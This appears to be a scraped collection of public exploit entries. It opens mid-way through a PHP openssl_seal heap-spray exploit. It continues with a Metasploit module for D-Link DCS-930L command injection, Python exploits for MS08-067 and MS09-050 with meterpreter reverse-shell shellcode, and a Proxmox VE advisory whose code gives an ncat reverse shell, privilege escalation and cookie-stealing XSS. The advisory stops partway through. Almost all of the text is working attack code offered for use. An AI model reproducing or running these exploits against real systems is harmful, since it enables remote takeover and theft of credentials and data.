-0x38(%rbp),%rax "\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx "\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp) "\x48\x85\xc0" . // test %rax,%rax "\x75\xd2" . // jne 0x400620 <shellcode+0x50> "\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi "\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax "\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx "\xba\x00\x00\x00\x00" . // mov $0x0,%edx "\xbe\x00\x00\x00\x00" . // mov $0x0,%esi "\xff\xd0" . // callq *%rax "\xc9" . // leaveq "\xc3"; // retq fill_buffer(0x2000, $shellcode_stage2); $handler = "\x55" . // push %rbp "\x48\x89\xe5" . // mov %rsp,%rbp "\x48\x83\xec\x30" . // sub $0x30,%rsp "\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp) "\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax "\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp) "\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax "\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp) "\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax "\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp) "\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx "\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx "\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax "\x48\x89\xce" . // mov %rcx,%rsi "\x48\x89\xd7" . // mov %rdx,%rdi "\xff\xd0" . // callq *%rax "\xb8\x00\x00\x00\x00" . // mov $0x0,%eax "\xc9" . // leaveq "\xc3"; // retq fill_buffer(0x3000, $handler); $addr = pack('P', $addr); $memory = str_repeat($addr,321); $pem = " -----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== -----END PUBLIC KEY-----"; /* Random RSA key */ $a = array_fill(0,321,0); /* place valid keys at the beginning */ $k = openssl_pkey_get_public($pem); $a[0] = $k; $a[1] = $k; $a[2] = $k; echo "[+] spraying heap\n"; $x = array(); for ($i = 0 ; $i < 20000 ; $i++) { $x[$i] = str_repeat($memory, 1); } for ($i = 0 ; $i < 20000 ; $i++) { unset($x[$i]); } unset($x); echo "[+] triggering openssl_seal()...\n"; @openssl_seal($_, $_, $_, $a); echo "[-] failed ;[\n";
  22. ## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution', 'Description' => %q{ The D-Link DCS-930L Network Video Camera is vulnerable to OS Command Injection via the web interface. The vulnerability exists at /setSystemCommand, which is accessible with credentials. This vulnerability was present in firmware version 2.01 and fixed by 2.12. }, 'Author' => [ 'Nicholas Starke <[email protected]>' ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 20 2015', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '']) ], self.class) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def telnet_timeout (datastore['TelnetTimeout'] || 10) end def banner_timeout (datastore['TelnetBannerTimeout'] || 25) end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] || '' test_login(user, pass) exploit_telnet end def test_login(user, pass) print_status("#{peer} - Trying to login with #{user} : #{pass}") res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', 'authorization' => basic_auth(user, pass) }) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200 print_good("#{peer} - Successful login #{user} : #{pass}") end def exploit_telnet telnet_port = rand(32767) + 32768 print_status("#{peer} - Telnet Port: #{telnet_port}") cmd = "telnetd -p #{telnet_port} -l/bin/sh" telnet_request(cmd) print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...") ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout }) if sock.nil? fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable") end add_socket(sock) print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session") else print_good("#{rhost}:#{telnet_port} - Telnet session successfully established") end handler(sock) end def telnet_request(cmd) uri = '/setSystemCommand' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_post' => { 'ReplySuccessPage' => 'docmd.htm', 'ReplyErrorPage' => 'docmd.htm', 'SystemCommand' => cmd, 'ConfigSystemCommand' => 'Save' } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, telnet_timeout) return nil if not data or data.length == 0 if data =~ /BusyBox/ return true end end end rescue ::Timeout::Error return nil end end end
  23. import struct import time import sys from threading import Thread #Thread is imported incase you would like to modify try: from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit' print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).' print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' print '#######################################################################\n' #Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40; #Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included) #EXITFUNC=thread Important! #msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81" shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35" shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae" shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6" shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6" shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91" shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15" shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c" shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c" shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1" shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda" shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba" shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4" shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc" shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b" shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69" shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68" shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc" shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff" shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28" shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf" shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22" shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1" shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0" shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2" shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22" shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4" shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60" shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48" shellcode += "\x08\x9e\xe0" nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10 disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62" ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01"; module_base = 0x6f880000 def generate_rop(rvas): gadget1="\x90\x5a\x59\xc3" gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] gadget3="\xcc\x90\xeb\x5a" ret=struct.pack('<L', 0x00018000) ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base) ret+=struct.pack('<L', 0x01040110) ret+=struct.pack('<L', 0x01010101) ret+=struct.pack('<L', 0x01010101) ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base) ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base) ret+=gadget1 ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['jmp eax']+module_base) ret+=gadget2[0] ret+=gadget2[1] ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base) ret+=gadget2[2] ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base) ret+=struct.pack('<L', rvas['jmp eax']+module_base) ret+=gadget3 return ret class SRVSVC_Exploit(Thread): def __init__(self, target, os, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.os = os def __DCEPacket(self): if (self.os=='1'): print 'Windows XP SP0/SP1 Universal\n' ret = "\x61\x13\x00\x01" jumper = nonxjmper % (ret, ret) elif (self.os=='2'): print 'Windows 2000 Universal\n' ret = "\xb0\x1c\x1f\x00" jumper = nonxjmper % (ret, ret) elif (self.os=='3'): print 'Windows 2003 SP0 Universal\n' ret = "\x9e\x12\x00\x01" #0x01 00 12 9e jumper = nonxjmper % (ret, ret) elif (self.os=='4'): print 'Windows 2003 SP1 English\n' ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL ret_pop = "\xf4\x7c\xa2\x7c" #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2) elif (self.os=='5'): print 'Windows XP SP3 French (NX)\n' ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07 disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case. elif (self.os=='6'): print 'Windows XP SP3 English (NX)\n' ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07 disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case. elif (self.os=='7'): print 'Windows XP SP3 English (AlwaysOn NX)\n' rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64} jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case. else: print 'Not supported OS version\n' sys.exit(-1) print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2 server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00" prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00" self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00" return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) time.sleep(5) print 'Exploit finish\n' if __name__ == '__main__': try: target = sys.argv[1] os = sys.argv[2] except IndexError: print '\nUsage: %s <target ip>\n' % sys.argv[0] print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n' print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n' sys.exit(-1) current = SRVSVC_Exploit(target, os) current.start()
  24. # EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py #!/usr/bin/python #This module depends on the linux command line program smbclient. #I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python. #The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter. import tempfile import sys import subprocess from socket import socket from time import sleep from smb.SMBConnection import SMBConnection try: target = sys.argv[1] except IndexError: print '\nUsage: %s <target ip>\n' % sys.argv[0] print 'Example: MS36299.py 192.168.1.1 1\n' sys.exit(-1) #msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -f python shell = "" shell += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" #fce8820000006089e531c0648b shell += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shell += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shell += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shell += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shell += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shell += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shell += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shell += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shell += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" shell += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01" shell += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" shell += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" shell += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" shell += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" shell += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" shell += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" shell += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" shell += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" shell += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" shell += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" shell += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0" shell += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" shell += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" shell += "\x53\xff\xd5" host = target, 445 buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42" buff+="\x72\x00\x00\x00\x00\x18\x53\xc8" buff+="\x17\x02" #high process ID buff+="\x00\xe9\x58\x01\x00\x00" buff+="\x00\x00\x00\x00\x00\x00\x00\x00" buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02" buff+="\x04\x0d\xdf\xff"*25 buff+="\x00\x02\x53\x4d" buff+="\x42\x20\x32\x2e\x30\x30\x32\x00" buff+="\x00\x00\x00\x00"*37 buff+="\xff\xff\xff\xff"*2 buff+="\x42\x42\x42\x42"*7 buff+="\xb4\xff\xff\x3f" #magic index buff+="\x41\x41\x41\x41"*6 buff+="\x09\x0d\xd0\xff" #return address #stager_sysenter_hook from metasploit buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01" buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d" buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9" buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4" buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a" buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00" buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24" buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10" buff+="\x68\x76\x01\x00\x00\x59\x89\xd8" buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31" buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb" buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d" buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00" buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10" buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0" buff+="\x83\xc2\x04\x81\x22\xff\xff\xff" buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff" buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f" buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18" buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10" buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08" buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73" buff+="\x73\x75\x15\xe8\x07\x00\x00\x00" buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9" buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34" buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff" buff+=shell s = socket() s.connect(host) s.send(buff) s.close() #Trigger the above injected code via authenticated process. subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)
  25. ===================================================================== Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS, Privileges escalation) ===================================================================== Description =========== Proxmox is a popular virtualization solution based on KVM and Linux containers. A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and Proxmox VE 4 beta 1 (LXC) in the virtual machine creating form allowing authenticated remote users to overwrite configuration files settings. Configuration file overwriting ============================== Because the Proxmox VE application doesn't check the user-provided "hostname" POST parameter, it's possible to overwrite configuration files using a CRLF injection. In Proxmox VE 3, we successfully gained access to the host filesystem from a container and elevated our container capabilities, allowing us to obtain user credentials and sniff the network. In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we successfully gained root privileges on the host. It's also possible to exploit Proxmox clusters. **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-915 Proof of Concept ---------------- The following exploit works for Proxmox VE 4 beta 1. The lxc.hook.pre-start configuration variable is used to trigger the ncat reverse-shell payload when the container is started. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse from time import sleep def exploit(target, username, password, vmid, template, realm, reverse, hostname): payload = "ncat %s %s -e /bin/sh" % reverse print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpulimit": 1, "cpuunits": 1024, "net0":"name=eth0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Container Created... (Sleeping 20 seconds)" sleep(20) print "[+] Starting container..." startcontainer = requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" % (target, hostname, vmid), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}) if startcontainer.status_code == 200: response = startcontainer.json() if "success" in response and response["success"]: print "[+] Exploit should be working..." else: print "[!] Can't start container ! Try to start it manually." else: print "[!] Error creating container..." print response else: print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code else: print "[!] Authentication failed - Check the credentials..." def handler(lport): print "[~] Starting handler on port %d" % lport t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print "[+] Connection from %s" % addr[0] t.sock = conn print "[+] Pop the shell ! :)" t.interact() if __name__ == "__main__": print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)") parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--localhost", required=True, help="Local host IP for the connect-back shell.") parser.add_argument("--localport", required=True, type=int, help="Local port for local bind handler") parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.") parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz", help="An existing template in the hypervisor " "(default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)") parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"]) parser.add_argument("--hostname", required=True, help="The target hostname") args = parser.parse_args() handlerthr = Thread(target=handler, args=(args.localport,)) handlerthr.start() exploitthr = Thread(target=exploit, args=(args.target, args.username, args.password, args.vmid, args.template, args.realm, (args.localhost, args.localport), args.hostname)) exploitthr.start() handlerthr.join() Shell output : [email protected] ~/Lab/Proxmox_Exploits $ python remoteroot.py --target 10.25.0.101:8006 --username nicolas --password pveuser --localhost 10.25.0.10 --localport 9999 --vmid 456 --realm pve --hostname pve4 [~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com> [~] Starting handler on port 9999 [~] Obtaining authorization key... [+] Authentication success. [+] Container Created... (Sleeping 20 seconds) [+] Exploit should be working... [+] Connection from 10.25.0.101 [+] Pop the shell ! whoami root id uid=0(root) gid=0(root) groups=0(root) The following exploit works for Proxmox VE 3. This proof of concept mount the host /dev/dm-0 on the container and add multiples capabilities on the container. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse def exploit(target, username, password, vmid, template, realm, hostname): payload = "sysdream\"\nDEVNODES=\"dm-0:r \"\nCAPABILITIES=\"mknod:on, sys_chroot:on, sys_rawio: on, net_admin:on, dac_override:on\"\n#" print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname": payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpus": 1, "netif":"ifname=eth0,bridge=vmbr0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Countainer (Capabilities + DM-0 Mount) Created." else: print "[!] Error creating container..." print response else: print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code else: print "[!] Authentication failed - Check the credentials..." if __name__ == "__main__": print "[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)") parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.") parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz", help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)") parser.add_argument("--hostname", required=True, help="The target hostname") parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"]) args = parser.parse_args() exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.hostname) Shell output : [email protected] ~/Lab/Proxmox_Exploits $ python privescalation.py --username root --password sysofdream --vmid 123 --realm pam --target 10.25.0.110:8006 --hostname pve3 [~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com> [~] Obtaining authorization key... [+] Authentication success. [+] Countainer (Capabilities + DM-0 Mount) Created. -- On container : [email protected]:/# ls -lah /dev/dm-0 brw-r----T 1 root root 253, 0 Aug 23 00:33 /dev/dm-0 --- Stored Cross-Site Scripting =========================== Same vulnerability, different usage. Works on Proxmox 3 and Proxmox 4b1. **Access Vector**: remote **Security Risk**: high Proof of Concept ---------------- The following exploit will create a stored XSS displaying the user cookies and the PVE CSRFPreventionToken. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse def exploit(target, username, password, vmid, template, realm, version, hostname): payload = "eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,45,34,32,43,32,80,86,69,46,67,83,82,70,80,114,101,118,101,110,116,105,111,110,84,111,107,101,110,41,59))" print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." 